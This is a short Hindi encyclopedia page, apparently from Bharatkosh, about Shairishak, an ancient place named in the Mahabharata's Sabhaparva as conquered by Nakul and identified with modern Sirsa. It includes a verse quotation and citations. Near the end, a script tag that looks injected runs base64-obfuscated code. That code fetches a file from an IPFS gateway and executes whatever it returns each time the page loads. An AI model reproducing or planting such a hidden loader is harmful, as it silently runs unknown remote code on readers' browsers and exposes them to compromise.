शैरीषक  

शैरीषक महाभारत, सभापर्व[१] में वर्णित एक प्राचीन स्थान, जिसे पाण्डव नकुल ने अपनी पश्चिम दिशा की दिग्विजय-यात्रा में जीता था-

'शैरीषकं महोत्थं च वशे चक्रे महाद्युतिः, आक्रोशं चैव राजर्षि तेन युद्धमभून्महत्।'

  • शैरीषक का अभिज्ञान वर्तमान सिरसा से किया जाता है। इससे पहले महाभारत, सभापर्व[२] में 'रोहीतक' या वर्तमान 'रोहतक' का उल्लेख है। सिरसा दिल्ली के निकट स्थित है।[३]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. सभापर्व 32,6
  2. सभापर्व 32,4
  3. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 910 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=शैरीषक&oldid=501871" से लिया गया